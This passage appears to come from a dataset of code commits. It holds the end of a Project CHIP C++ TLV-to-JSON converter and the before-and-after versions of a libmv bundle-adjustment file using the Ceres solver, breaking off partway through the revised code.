(#15772)\" (#15779)<commit_after>\/*\n *\n *    Copyright (c) 2020 Project CHIP Authors\n *    Copyright (c) 2013-2017 Nest Labs, Inc.\n *\n *    Licensed under the Apache License, Version 2.0 (the \"License\");\n *    you may not use this file except in compliance with the License.\n *    You may obtain a copy of the License at\n *\n *        http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n *    Unless required by applicable law or agreed to in writing, software\n *    distributed under the License is distributed on an \"AS IS\" BASIS,\n *    WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *    See the License for the specific language governing permissions and\n *    limitations under the License.\n *\/\n#include \"lib\/support\/CHIPMemString.h\"\n#include \"lib\/support\/ScopedBuffer.h\"\n#include <lib\/core\/DataModelTypes.h>\n#include <lib\/support\/Base64.h>\n#include <lib\/support\/jsontlv\/TlvJson.h>\n\nnamespace {\n\/*\n * Encapsulates the different types of keys permissible.\n *\n * Root Key = Key with a name of 'value'. This is the top-most key in a given JSON object generated from TLV.\n * Struct Field = Key containing the 32-bit field ID of an item in a struct.\n * Array Item = Key containing the 16-bit list index of an item in a list.\n *\n * In the latter two modes, the actual field ID\/list index is encapsulated within the 'key' member.\n *\n *\/\nstruct KeyContext\n{\n    enum KeyType\n    {\n        kRoot,\n        kStructField,\n        kArrayItem\n    };\n\n    KeyContext() = default;\n\n    KeyContext(chip::FieldId fieldId)\n    {\n        keyType = kStructField;\n        key     = fieldId;\n    }\n\n    KeyContext(chip::ListIndex listIndex)\n    {\n        keyType = kArrayItem;\n        key     = listIndex;\n    }\n\n    KeyType keyType  = kRoot;\n    unsigned int key = 0;\n};\n} \/\/ namespace\n\n\/\/\n\/\/ For now, let's put a bound of the maximum length of a byte\/char string to be the size of an IPv6\n\/\/ MTU. While this is smaller than that of the limit defined in the data model specification,\n\/\/ strings by virtue of not being chunked are intrinsically limited in size to the size of the encompassing packet.\n\/\/\nstatic constexpr uint16_t kMaxStringLen = 1280;\n\nnamespace chip {\n\n\/*\n * This templated function inserts a key\/value pair into the Json value object.\n * The value is templated to be of type T and accepts any of the following primitive\n * types:\n *      bool, uint*_t, int*_t, char *, float, double.\n *\n * This method uses the provided key context to deduce the type of element being added.\n *\n *\/\ntemplate <typename T>\nvoid InsertKeyValue(Json::Value & json, const KeyContext & keyContext, T val)\n{\n    \/\/\n    \/\/ This needs to accomodate either the string 'value', or a 32-bit integer.\n    \/\/ The size of the largest 32-bit integer key represented as a string is 11 characters long.\n    \/\/ Tack on 1 byte for the null character.\n    \/\/\n    char keyBuf[12];\n\n    if (keyContext.keyType == KeyContext::kRoot)\n    {\n        Platform::CopyString(keyBuf, sizeof(keyBuf), \"value\");\n        json[keyBuf] = val;\n    }\n    else if (keyContext.keyType == KeyContext::kStructField)\n    {\n        snprintf(keyBuf, sizeof(keyBuf), \"%\" PRIu32, keyContext.key);\n        json[keyBuf] = val;\n    }\n    else\n    {\n        json[keyContext.key] = val;\n    }\n}\n\nstd::string JsonToString(Json::Value & json)\n{\n    Json::StyledWriter writer;\n    return writer.write(json);\n}\n\nCHIP_ERROR TlvToJson(TLV::TLVReader & reader, KeyContext context, Json::Value & parent)\n{\n    bool isStruct = false;\n\n    switch (reader.GetType())\n    {\n    case TLV::kTLVType_UnsignedInteger: {\n        uint64_t v;\n        ReturnErrorOnFailure(reader.Get(v));\n        InsertKeyValue(parent, context, v);\n        break;\n    }\n\n    case TLV::kTLVType_SignedInteger: {\n        int64_t v;\n        ReturnErrorOnFailure(reader.Get(v));\n        InsertKeyValue(parent, context, v);\n        break;\n    }\n\n    case TLV::kTLVType_Boolean: {\n        bool v;\n        ReturnErrorOnFailure(reader.Get(v));\n        InsertKeyValue(parent, context, v);\n        break;\n    }\n\n    case TLV::kTLVType_FloatingPointNumber: {\n        double v;\n        ReturnErrorOnFailure(reader.Get(v));\n        InsertKeyValue(parent, context, v);\n        break;\n    }\n\n    case TLV::kTLVType_ByteString: {\n        ByteSpan span;\n\n        ReturnErrorOnFailure(reader.Get(span));\n        VerifyOrReturnError(span.size() < kMaxStringLen, CHIP_ERROR_INVALID_TLV_ELEMENT);\n\n        Platform::ScopedMemoryBuffer<char> byteString;\n        byteString.Alloc(BASE64_ENCODED_LEN(span.size()) + 1);\n        VerifyOrReturnError(byteString.Get() != nullptr, CHIP_ERROR_NO_MEMORY);\n\n        auto encodedLen              = Base64Encode(span.data(), span.size(), byteString.Get());\n        byteString.Get()[encodedLen] = '\\0';\n\n        InsertKeyValue(parent, context, byteString.Get());\n        break;\n    }\n\n    case TLV::kTLVType_UTF8String: {\n        CharSpan span;\n\n        ReturnErrorOnFailure(reader.Get(span));\n        VerifyOrReturnError(span.size() < kMaxStringLen, CHIP_ERROR_INVALID_TLV_ELEMENT);\n\n        Platform::ScopedMemoryString charString(span.data(), span.size());\n        InsertKeyValue(parent, context, charString.Get());\n        break;\n    }\n\n    case TLV::kTLVType_Null: {\n        InsertKeyValue(parent, context, Json::Value());\n        break;\n    }\n\n    case TLV::kTLVType_Structure:\n        isStruct = true;\n\n        \/\/\n        \/\/ Fall-through to the case below since\n        \/\/ arrays and structs are handled similarly with\n        \/\/ just a small difference in terms of handling of field IDs vs.\n        \/\/ list indices of the elements in the respective collections.\n        \/\/\n\n    case TLV::kTLVType_Array: {\n        TLV::TLVType containerType;\n\n        ReturnErrorOnFailure(reader.EnterContainer(containerType));\n\n        CHIP_ERROR err;\n        Json::Value value;\n        size_t listIndex = 0;\n\n        while ((err = reader.Next()) == CHIP_NO_ERROR)\n        {\n            if (isStruct)\n            {\n                VerifyOrReturnError(TLV::IsContextTag(reader.GetTag()), CHIP_ERROR_INVALID_TLV_TAG);\n                KeyContext context2(static_cast<chip::FieldId>(TLV::TagNumFromTag(reader.GetTag())));\n\n                \/\/\n                \/\/ Recursively convert to JSON the encompassing item within the struct.\n                \/\/\n                ReturnErrorOnFailure(TlvToJson(reader, context2, value));\n            }\n            else\n            {\n                KeyContext context2(static_cast<chip::ListIndex>(listIndex++));\n\n                \/\/\n                \/\/ Recursively convert to JSON the encompassing item within the array.\n                \/\/\n                ReturnErrorOnFailure(TlvToJson(reader, context2, value));\n            }\n        }\n\n        VerifyOrReturnError(err == CHIP_END_OF_TLV, err);\n        ReturnErrorOnFailure(reader.ExitContainer(containerType));\n        InsertKeyValue(parent, context, value);\n        break;\n    }\n\n    default:\n        return CHIP_ERROR_INVALID_TLV_ELEMENT;\n        break;\n    }\n\n    return CHIP_NO_ERROR;\n}\n\nCHIP_ERROR TlvToJson(TLV::TLVReader & reader, Json::Value & root)\n{\n    KeyContext context;\n    return TlvToJson(reader, context, root);\n}\n\n} \/\/ namespace chip\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright (c) 2011, 2012, 2013 libmv authors.\n\/\/\n\/\/ Permission is hereby granted, free of charge, to any person obtaining a copy\n\/\/ of this software and associated documentation files (the \"Software\"), to\n\/\/ deal in the Software without restriction, including without limitation the\n\/\/ rights to use, copy, modify, merge, publish, distribute, sublicense, and\/or\n\/\/ sell copies of the Software, and to permit persons to whom the Software is\n\/\/ furnished to do so, subject to the following conditions:\n\/\/\n\/\/ The above copyright notice and this permission notice shall be included in\n\/\/ all copies or substantial portions of the Software.\n\/\/\n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n\/\/ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n\/\/ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n\/\/ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n\/\/ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n\/\/ FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS\n\/\/ IN THE SOFTWARE.\n\n#include \"libmv\/simple_pipeline\/bundle.h\"\n\n#include <map>\n\n#include \"ceres\/ceres.h\"\n#include \"ceres\/rotation.h\"\n#include \"libmv\/base\/scoped_ptr.h\"\n#include \"libmv\/base\/vector.h\"\n#include \"libmv\/logging\/logging.h\"\n#include \"libmv\/multiview\/fundamental.h\"\n#include \"libmv\/multiview\/projection.h\"\n#include \"libmv\/numeric\/numeric.h\"\n#include \"libmv\/simple_pipeline\/camera_intrinsics.h\"\n#include \"libmv\/simple_pipeline\/reconstruction.h\"\n#include \"libmv\/simple_pipeline\/tracks.h\"\n\n#ifdef _OPENMP\n#  include <omp.h>\n#endif\n\nnamespace libmv {\n\n\/\/ The intrinsics need to get combined into a single parameter block; use these\n\/\/ enums to index instead of numeric constants.\nenum {\n  OFFSET_FOCAL_LENGTH,\n  OFFSET_PRINCIPAL_POINT_X,\n  OFFSET_PRINCIPAL_POINT_Y,\n  OFFSET_K1,\n  OFFSET_K2,\n  OFFSET_K3,\n  OFFSET_P1,\n  OFFSET_P2,\n};\n\nnamespace {\n\nstruct OpenCVReprojectionError {\n  OpenCVReprojectionError(double observed_x, double observed_y)\n      : observed_x(observed_x), observed_y(observed_y) {}\n\n  template <typename T>\n  bool operator()(const T* const intrinsics,\n                  const T* const R,  \/\/ Rotation 3x3 column-major.\n                  const T* const t,  \/\/ Translation 3x1.\n                  const T* const X,  \/\/ Point coordinates 3x1.\n                  T* residuals) const {\n    \/\/ Unpack the intrinsics.\n    const T& focal_length      = intrinsics[OFFSET_FOCAL_LENGTH];\n    const T& principal_point_x = intrinsics[OFFSET_PRINCIPAL_POINT_X];\n    const T& principal_point_y = intrinsics[OFFSET_PRINCIPAL_POINT_Y];\n    const T& k1                = intrinsics[OFFSET_K1];\n    const T& k2                = intrinsics[OFFSET_K2];\n    const T& k3                = intrinsics[OFFSET_K3];\n    const T& p1                = intrinsics[OFFSET_P1];\n    const T& p2                = intrinsics[OFFSET_P2];\n\n    \/\/ Compute projective coordinates: x = RX + t.\n    T x[3];\n    x[0] = R[0]*X[0] + R[3]*X[1] + R[6]*X[2] + t[0];\n    x[1] = R[1]*X[0] + R[4]*X[1] + R[7]*X[2] + t[1];\n    x[2] = R[2]*X[0] + R[5]*X[1] + R[8]*X[2] + t[2];\n\n    \/\/ Compute normalized coordinates: x \/= x[2].\n    T xn = x[0] \/ x[2];\n    T yn = x[1] \/ x[2];\n\n    T predicted_x, predicted_y;\n\n    \/\/ EuclideanBundle uses empty intrinsics, which breaks undistortion code;\n    \/\/ so use an implied focal length of 1.0 if the focal length is exactly\n    \/\/ zero.\n    \/\/ TODO(keir): Figure out a better way to do this.\n    if (focal_length != T(0)) {\n      \/\/ Apply distortion to the normalized points to get (xd, yd).\n      \/\/ TODO(keir): Do early bailouts for zero distortion; these are expensive\n      \/\/ jet operations.\n\n      ApplyRadialDistortionCameraIntrinsics(focal_length,\n                                            focal_length,\n                                            principal_point_x,\n                                            principal_point_y,\n                                            k1, k2, k3,\n                                            p1, p2,\n                                            xn, yn,\n                                            &predicted_x,\n                                            &predicted_y);\n    } else {\n      predicted_x = xn;\n      predicted_y = yn;\n    }\n\n    \/\/ The error is the difference between the predicted and observed position.\n    residuals[0] = predicted_x - T(observed_x);\n    residuals[1] = predicted_y - T(observed_y);\n\n    return true;\n  }\n\n  double observed_x;\n  double observed_y;\n};\n\n\/\/ TODO(keir): Get rid of the parameterization! Ceres will work much faster if\n\/\/ the rotation block is angle-axis and also the translation is merged into a\n\/\/ single parameter block.\nstruct RotationMatrixPlus {\n  template<typename T>\n  bool operator()(const T* R_array,  \/\/ Rotation 3x3 col-major.\n                  const T* delta,    \/\/ Angle-axis delta\n                  T* R_plus_delta_array) const {\n    T angle_axis[3];\n\n    ceres::RotationMatrixToAngleAxis(R_array, angle_axis);\n\n    angle_axis[0] += delta[0];\n    angle_axis[1] += delta[1];\n    angle_axis[2] += delta[2];\n\n    ceres::AngleAxisToRotationMatrix(angle_axis, R_plus_delta_array);\n\n    return true;\n  }\n};\n\n\/\/ TODO(sergey): would be nice to have this in Ceres upstream\ntemplate<typename PlusFunctor, int kGlobalSize, int kLocalSize>\nclass AutodiffParameterization : public ceres::LocalParameterization {\n public:\n  AutodiffParameterization(const PlusFunctor &plus_functor)\n    : plus_functor_(plus_functor) {}\n\n  virtual ~AutodiffParameterization() {}\n\n  virtual bool Plus(const double* x,\n                    const double* delta,\n                    double* x_plus_delta) const {\n    return plus_functor_(x, delta, x_plus_delta);\n  }\n\n  virtual bool ComputeJacobian(const double* x, double* jacobian) const {\n    double zero_delta[kLocalSize] = { 0.0 };\n    double x_plus_delta[kGlobalSize];\n    const double* parameters[2] = { x, zero_delta };\n    double* jacobians_array[2] = { NULL, jacobian };\n\n    Plus(x, zero_delta, x_plus_delta);\n\n    return ceres::internal::AutoDiff<PlusFunctor,\n                              double,\n                              kGlobalSize, kLocalSize>\n        ::Differentiate(plus_functor_,\n                        parameters,\n                        kGlobalSize,\n                        x_plus_delta,\n                        jacobians_array);\n\n    return true;\n  }\n\n  virtual int GlobalSize() const { return kGlobalSize; }\n  virtual int LocalSize() const { return kLocalSize; }\n\n private:\n  const PlusFunctor &plus_functor_;\n};\n\nvoid BundleIntrinsicsLogMessage(int bundle_intrinsics) {\n  if (bundle_intrinsics == BUNDLE_NO_INTRINSICS) {\n    LG << \"Bundling only camera positions.\";\n  } else if (bundle_intrinsics == BUNDLE_FOCAL_LENGTH) {\n    LG << \"Bundling f.\";\n  } else if (bundle_intrinsics == (BUNDLE_FOCAL_LENGTH |\n                                   BUNDLE_PRINCIPAL_POINT)) {\n    LG << \"Bundling f, px, py.\";\n  } else if (bundle_intrinsics == (BUNDLE_FOCAL_LENGTH |\n                                   BUNDLE_PRINCIPAL_POINT |\n                                   BUNDLE_RADIAL)) {\n    LG << \"Bundling f, px, py, k1, k2.\";\n  } else if (bundle_intrinsics == (BUNDLE_FOCAL_LENGTH |\n                                   BUNDLE_PRINCIPAL_POINT |\n                                   BUNDLE_RADIAL |\n                                   BUNDLE_TANGENTIAL)) {\n    LG << \"Bundling f, px, py, k1, k2, p1, p2.\";\n  } else if (bundle_intrinsics == (BUNDLE_FOCAL_LENGTH |\n                                   BUNDLE_RADIAL |\n                                   BUNDLE_TANGENTIAL)) {\n    LG << \"Bundling f, px, py, k1, k2, p1, p2.\";\n  } else if (bundle_intrinsics == (BUNDLE_FOCAL_LENGTH |\n                                   BUNDLE_RADIAL)) {\n    LG << \"Bundling f, k1, k2.\";\n  } else if (bundle_intrinsics == (BUNDLE_FOCAL_LENGTH |\n                                   BUNDLE_RADIAL_K1)) {\n    LG << \"Bundling f, k1.\";\n  } else if (bundle_intrinsics == (BUNDLE_RADIAL_K1 |\n                                   BUNDLE_RADIAL_K2)) {\n    LG << \"Bundling k1, k2.\";\n  } else {\n    LOG(FATAL) << \"Unsupported bundle combination.\";\n  }\n}\n\n}  \/\/ namespace\n\nvoid EuclideanBundle(const Tracks &tracks,\n                     EuclideanReconstruction *reconstruction) {\n  CameraIntrinsics intrinsics;\n  EuclideanBundleCommonIntrinsics(tracks,\n                                  BUNDLE_NO_INTRINSICS,\n                                  reconstruction,\n                                  &intrinsics);\n}\n\nvoid EuclideanBundleCommonIntrinsics(const Tracks &tracks,\n                                     int bundle_intrinsics,\n                                     EuclideanReconstruction *reconstruction,\n                                     CameraIntrinsics *intrinsics,\n                                     int bundle_constraints) {\n  LG << \"Original intrinsics: \" << *intrinsics;\n  vector<Marker> markers = tracks.AllMarkers();\n\n  ceres::Problem::Options problem_options;\n  problem_options.local_parameterization_ownership =\n    ceres::DO_NOT_TAKE_OWNERSHIP;\n\n  ceres::Problem problem(problem_options);\n\n  \/\/ Residual blocks with 10 parameters are unwieldly with Ceres, so pack the\n  \/\/ intrinsics into a single block and rely on local parameterizations to\n  \/\/ control which intrinsics are allowed to vary.\n  double ceres_intrinsics[8];\n  ceres_intrinsics[OFFSET_FOCAL_LENGTH]       = intrinsics->focal_length();\n  ceres_intrinsics[OFFSET_PRINCIPAL_POINT_X]  = intrinsics->principal_point_x();\n  ceres_intrinsics[OFFSET_PRINCIPAL_POINT_Y]  = intrinsics->principal_point_y();\n  ceres_intrinsics[OFFSET_K1]                 = intrinsics->k1();\n  ceres_intrinsics[OFFSET_K2]                 = intrinsics->k2();\n  ceres_intrinsics[OFFSET_K3]                 = intrinsics->k3();\n  ceres_intrinsics[OFFSET_P1]                 = intrinsics->p1();\n  ceres_intrinsics[OFFSET_P2]                 = intrinsics->p2();\n\n  RotationMatrixPlus rotation_matrix_plus;\n  AutodiffParameterization<RotationMatrixPlus, 9, 3>\n      rotation_parameterization(rotation_matrix_plus);\n\n  int num_residuals = 0;\n  for (int i = 0; i < markers.size(); ++i) {\n    const Marker &marker = markers[i];\n    EuclideanCamera *camera = reconstruction->CameraForImage(marker.image);\n    EuclideanPoint *point = reconstruction->PointForTrack(marker.track);\n    if (!camera || !point) {\n      continue;\n    }\n\n    problem.AddResidualBlock(new ceres::AutoDiffCostFunction<\n        OpenCVReprojectionError, 2, 8, 9, 3, 3>(\n            new OpenCVReprojectionError(\n                marker.x,\n                marker.y)),\n        NULL,\n        ceres_intrinsics,\n        &camera->R(0, 0),\n        &camera->t(0),\n        &point->X(0));\n\n    \/\/ It's fine if the parameterization for one camera is set repeatedly.\n    problem.SetParameterization(&camera->R(0, 0),\n                                &rotation_parameterization);\n\n    if (bundle_constraints & BUNDLE_NO_TRANSLATION) {\n      problem.SetParameterBlockConstant(&camera->t(0));\n    }\n\n    num_residuals++;\n  }\n  LG << \"Number of residuals: \" << num_residuals;\n\n  if (!num_residuals) {\n    LG << \"Skipping running minimizer with zero residuals\";\n    return;\n  }\n\n  BundleIntrinsicsLogMessage(bundle_intrinsics);\n\n  scoped_ptr<ceres::SubsetParameterization>\n      subset_parameterization(NULL);\n\n  if (bundle_intrinsics == BUNDLE_NO_INTRINSICS) {\n    \/\/ No camera intrinsics are refining,\n    \/\/ set the whole parameter block as constant for best performance\n    problem.SetParameterBlockConstant(ceres_intrinsics);\n  } else {\n    \/\/ Set intrinsics not being bundles as constant\n\n    std::vector<int> constant_intrinsics;\n#define MAYBE_SET_CONSTANT(bundle_enum, offset) \\\n    if (!(bundle_intrinsics & bundle_enum)) { \\\n      constant_intrinsics.push_back(offset); \\\n    }\n    MAYBE_SET_CONSTANT(BUNDLE_FOCAL_LENGTH,    OFFSET_FOCAL_LENGTH);\n    MAYBE_SET_CONSTANT(BUNDLE_PRINCIPAL_POINT, OFFSET_PRINCIPAL_POINT_X);\n    MAYBE_SET_CONSTANT(BUNDLE_PRINCIPAL_POINT, OFFSET_PRINCIPAL_POINT_Y);\n    MAYBE_SET_CONSTANT(BUNDLE_RADIAL_K1,       OFFSET_K1);\n    MAYBE_SET_CONSTANT(BUNDLE_RADIAL_K2,       OFFSET_K2);\n    MAYBE_SET_CONSTANT(BUNDLE_TANGENTIAL_P1,   OFFSET_P1);\n    MAYBE_SET_CONSTANT(BUNDLE_TANGENTIAL_P2,   OFFSET_P2);\n#undef MAYBE_SET_CONSTANT\n\n    \/\/ Always set K3 constant, it's not used at the moment.\n    constant_intrinsics.push_back(OFFSET_K3);\n\n    subset_parameterization.reset(\n        new ceres::SubsetParameterization(8, constant_intrinsics));\n\n    problem.SetParameterization(ceres_intrinsics, subset_parameterization.get());\n  }\n\n  ceres::Solver::Options options;\n  options.use_nonmonotonic_steps = true;\n  options.preconditioner_type = ceres::SCHUR_JACOBI;\n  options.linear_solver_type = ceres::ITERATIVE_SCHUR;\n  options.use_inner_iterations = true;\n  options.max_num_iterations = 100;\n\n#ifdef _OPENMP\n  options.num_threads = omp_get_max_threads();\n  options.num_linear_solver_threads = omp_get_max_threads();\n#endif\n\n  ceres::Solver::Summary summary;\n  ceres::Solve(options, &problem, &summary);\n\n  LG << \"Final report:\\n\" << summary.FullReport();\n\n  \/\/ Copy intrinsics back.\n  if (bundle_intrinsics != BUNDLE_NO_INTRINSICS) {\n    intrinsics->SetFocalLength(ceres_intrinsics[OFFSET_FOCAL_LENGTH],\n                               ceres_intrinsics[OFFSET_FOCAL_LENGTH]);\n\n    intrinsics->SetPrincipalPoint(ceres_intrinsics[OFFSET_PRINCIPAL_POINT_X],\n                                  ceres_intrinsics[OFFSET_PRINCIPAL_POINT_Y]);\n\n    intrinsics->SetRadialDistortion(ceres_intrinsics[OFFSET_K1],\n                                    ceres_intrinsics[OFFSET_K2],\n                                    ceres_intrinsics[OFFSET_K3]);\n\n    intrinsics->SetTangentialDistortion(ceres_intrinsics[OFFSET_P1],\n                                        ceres_intrinsics[OFFSET_P2]);\n  }\n\n  LG << \"Final intrinsics: \" << *intrinsics;\n}\n\nvoid ProjectiveBundle(const Tracks & \/*tracks*\/,\n                      ProjectiveReconstruction * \/*reconstruction*\/) {\n  \/\/ TODO(keir): Implement this! This can't work until we have a better bundler\n  \/\/ than SSBA, since SSBA has no support for projective bundling.\n}\n\n}  \/\/ namespace libmv\n<commit_msg> Bundle adjustment improvements<commit_after>\/\/ Copyright (c) 2011, 2012, 2013 libmv authors.\n\/\/\n\/\/ Permission is hereby granted, free of charge, to any person obtaining a copy\n\/\/ of this software and associated documentation files (the \"Software\"), to\n\/\/ deal in the Software without restriction, including without limitation the\n\/\/ rights to use, copy, modify, merge, publish, distribute, sublicense, and\/or\n\/\/ sell copies of the Software, and to permit persons to whom the Software is\n\/\/ furnished to do so, subject to the following conditions:\n\/\/\n\/\/ The above copyright notice and this permission notice shall be included in\n\/\/ all copies or substantial portions of the Software.\n\/\/\n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n\/\/ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n\/\/ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n\/\/ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n\/\/ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n\/\/ FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS\n\/\/ IN THE SOFTWARE.\n\n#include \"libmv\/simple_pipeline\/bundle.h\"\n\n#include <map>\n\n#include \"ceres\/ceres.h\"\n#include \"ceres\/rotation.h\"\n#include \"libmv\/base\/scoped_ptr.h\"\n#include \"libmv\/base\/vector.h\"\n#include \"libmv\/logging\/logging.h\"\n#include \"libmv\/multiview\/fundamental.h\"\n#include \"libmv\/multiview\/projection.h\"\n#include \"libmv\/numeric\/numeric.h\"\n#include \"libmv\/simple_pipeline\/camera_intrinsics.h\"\n#include \"libmv\/simple_pipeline\/reconstruction.h\"\n#include \"libmv\/simple_pipeline\/tracks.h\"\n\n#ifdef _OPENMP\n#  include <omp.h>\n#endif\n\nnamespace libmv {\n\n\/\/ The intrinsics need to get combined into a single parameter block; use these\n\/\/ enums to index instead of numeric constants.\nenum {\n  OFFSET_FOCAL_LENGTH,\n  OFFSET_PRINCIPAL_POINT_X,\n  OFFSET_PRINCIPAL_POINT_Y,\n  OFFSET_K1,\n  OFFSET_K2,\n  OFFSET_K3,\n  OFFSET_P1,\n  OFFSET_P2,\n};\n\nnamespace {\n\nstruct OpenCVReprojectionError {\n  OpenCVReprojectionError(double observed_x, double observed_y)\n      : observed_x(observed_x), observed_y(observed_y) {}\n\n  template <typename T>\n  bool operator()(const T* const intrinsics,\n                  const T* const R_t,  \/\/ Rotation denoted by angle axis\n                                       \/\/ followed with translation\n                  const T* const X,  \/\/ Point coordinates 3x1.\n                  T* residuals) const {\n    \/\/ Unpack the intrinsics.\n    const T& focal_length      = intrinsics[OFFSET_FOCAL_LENGTH];\n    const T& principal_point_x = intrinsics[OFFSET_PRINCIPAL_POINT_X];\n    const T& principal_point_y = intrinsics[OFFSET_PRINCIPAL_POINT_Y];\n    const T& k1                = intrinsics[OFFSET_K1];\n    const T& k2                = intrinsics[OFFSET_K2];\n    const T& k3                = intrinsics[OFFSET_K3];\n    const T& p1                = intrinsics[OFFSET_P1];\n    const T& p2                = intrinsics[OFFSET_P2];\n\n    \/\/ Compute projective coordinates: x = RX + t.\n    T x[3];\n\n    ceres::AngleAxisRotatePoint(R_t, X, x);\n    x[0] += R_t[3];\n    x[1] += R_t[4];\n    x[2] += R_t[5];\n\n    \/\/ Compute normalized coordinates: x \/= x[2].\n    T xn = x[0] \/ x[2];\n    T yn = x[1] \/ x[2];\n\n    T predicted_x, predicted_y;\n\n    \/\/ EuclideanBundle uses empty intrinsics, which breaks undistortion code;\n    \/\/ so use an implied focal length of 1.0 if the focal length is exactly\n    \/\/ zero.\n    \/\/ TODO(keir): Figure out a better way to do this.\n    if (focal_length != T(0)) {\n      \/\/ Apply distortion to the normalized points to get (xd, yd).\n      \/\/ TODO(keir): Do early bailouts for zero distortion; these are expensive\n      \/\/ jet operations.\n\n      ApplyRadialDistortionCameraIntrinsics(focal_length,\n                                            focal_length,\n                                            principal_point_x,\n                                            principal_point_y,\n                                            k1, k2, k3,\n                                            p1, p2,\n                                            xn, yn,\n                                            &predicted_x,\n                                            &predicted_y);\n    } else {\n      predicted_x = xn;\n      predicted_y = yn;\n    }\n\n    \/\/ The error is the difference between the predicted and observed position.\n    residuals[0] = predicted_x - T(observed_x);\n    residuals[1] = predicted_y - T(observed_y);\n\n    return true;\n  }\n\n  double observed_x;\n  double observed_y;\n};\n\nvoid BundleIntrinsicsLogMessage(int bundle_intrinsics) {\n  if (bundle_intrinsics == BUNDLE_NO_INTRINSICS) {\n    LG << \"Bundling only camera positions.\";\n  } else if (bundle_intrinsics == BUNDLE_FOCAL_LENGTH) {\n    LG << \"Bundling f.\";\n  } else if (bundle_intrinsics == (BUNDLE_FOCAL_LENGTH |\n                                   BUNDLE_PRINCIPAL_POINT)) {\n    LG << \"Bundling f, px, py.\";\n  } else if (bundle_intrinsics == (BUNDLE_FOCAL_LENGTH |\n                                   BUNDLE_PRINCIPAL_POINT |\n                                   BUNDLE_RADIAL)) {\n    LG << \"Bundling f, px, py, k1, k2.\";\n  } else if (bundle_intrinsics == (BUNDLE_FOCAL_LENGTH |\n                                   BUNDLE_PRINCIPAL_POINT |\n                                   BUNDLE_RADIAL |\n                                   BUNDLE_TANGENTIAL)) {\n    LG << \"Bundling f, px, py, k1, k2, p1, p2.\";\n  } else if (bundle_intrinsics == (BUNDLE_FOCAL_LENGTH |\n                                   BUNDLE_RADIAL |\n                                   BUNDLE_TANGENTIAL)) {\n    LG << \"Bundling f, px, py, k1, k2, p1, p2.\";\n  } else if (bundle_intrinsics == (BUNDLE_FOCAL_LENGTH |\n                                   BUNDLE_RADIAL)) {\n    LG << \"Bundling f, k1, k2.\";\n  } else if (bundle_intrinsics == (BUNDLE_FOCAL_LENGTH |\n                                   BUNDLE_RADIAL_K1)) {\n    LG << \"Bundling f, k1.\";\n  } else if (bundle_intrinsics == (BUNDLE_RADIAL_K1 |\n                                   BUNDLE_RADIAL_K2)) {\n    LG << \"Bundling k1, k2.\";\n  } else {\n    LOG(FATAL) << \"Unsupported bundle combination.\";\n  }\n}\n\n\/\/ Pack intrinsics from object to an array for easier\n\/\/ and faster minimization\nvoid PackIntrinisicsIntoArray(CameraIntrinsics *intrinsics,\n                              double ceres_intrinsics[8]) {\n  ceres_intrinsics[OFFSET_FOCAL_LENGTH]       = intrinsics->focal_length();\n  ceres_intrinsics[OFFSET_PRINCIPAL_POINT_X]  = intrinsics->principal_point_x();\n  ceres_intrinsics[OFFSET_PRINCIPAL_POINT_Y]  = intrinsics->principal_point_y();\n  ceres_intrinsics[OFFSET_K1]                 = intrinsics->k1();\n  ceres_intrinsics[OFFSET_K2]                 = intrinsics->k2();\n  ceres_intrinsics[OFFSET_K3]                 = intrinsics->k3();\n  ceres_intrinsics[OFFSET_P1]                 = intrinsics->p1();\n  ceres_intrinsics[OFFSET_P2]                 = intrinsics->p2();\n}\n\n\/\/ Unpack intrinsics back from an array to an object\nvoid UnpackIntrinsicsFromArray(CameraIntrinsics *intrinsics,\n                               double ceres_intrinsics[8]) {\n    intrinsics->SetFocalLength(ceres_intrinsics[OFFSET_FOCAL_LENGTH],\n                               ceres_intrinsics[OFFSET_FOCAL_LENGTH]);\n\n    intrinsics->SetPrincipalPoint(ceres_intrinsics[OFFSET_PRINCIPAL_POINT_X],\n                                  ceres_intrinsics[OFFSET_PRINCIPAL_POINT_Y]);\n\n    intrinsics->SetRadialDistortion(ceres_intrinsics[OFFSET_K1],\n                                    ceres_intrinsics[OFFSET_K2],\n                                    ceres_intrinsics[OFFSET_K3]);\n\n    intrinsics->SetTangentialDistortion(ceres_intrinsics[OFFSET_P1],\n                                        ceres_intrinsics[OFFSET_P2]);\n}\n\n\/\/ Get a vector of camera's rotations denoted by angle axis\n\/\/ conjuncted with translations into single block\n\/\/\n\/\/ Element with index i matches to a rotation+translation for\n\/\/ camera at image i.\nvector<Vec6> PackCamerasRotationAndTranslation(\n                                 const Tracks &tracks,\n                                 EuclideanReconstruction *reconstruction) {\n  vector<Vec6> cameras_R_t;\n  int max_image = tracks.MaxImage();\n\n  cameras_R_t.resize(max_image + 1);\n\n  for (int i = 0; i <= max_image; i++) {\n    EuclideanCamera *camera = reconstruction->CameraForImage(i);\n\n    if (!camera)\n      continue;\n\n    ceres::RotationMatrixToAngleAxis(&camera->R(0, 0),\n                                     &cameras_R_t[i](0));\n    cameras_R_t[i].tail<3>() = camera->t;\n  }\n\n  return cameras_R_t;\n}\n\n\/\/ Convert cameras rotations fro mangle axis back to rotation matrix\nvoid UnpackCamerasRotationAndTranslation(\n                                  const Tracks &tracks,\n                                  EuclideanReconstruction 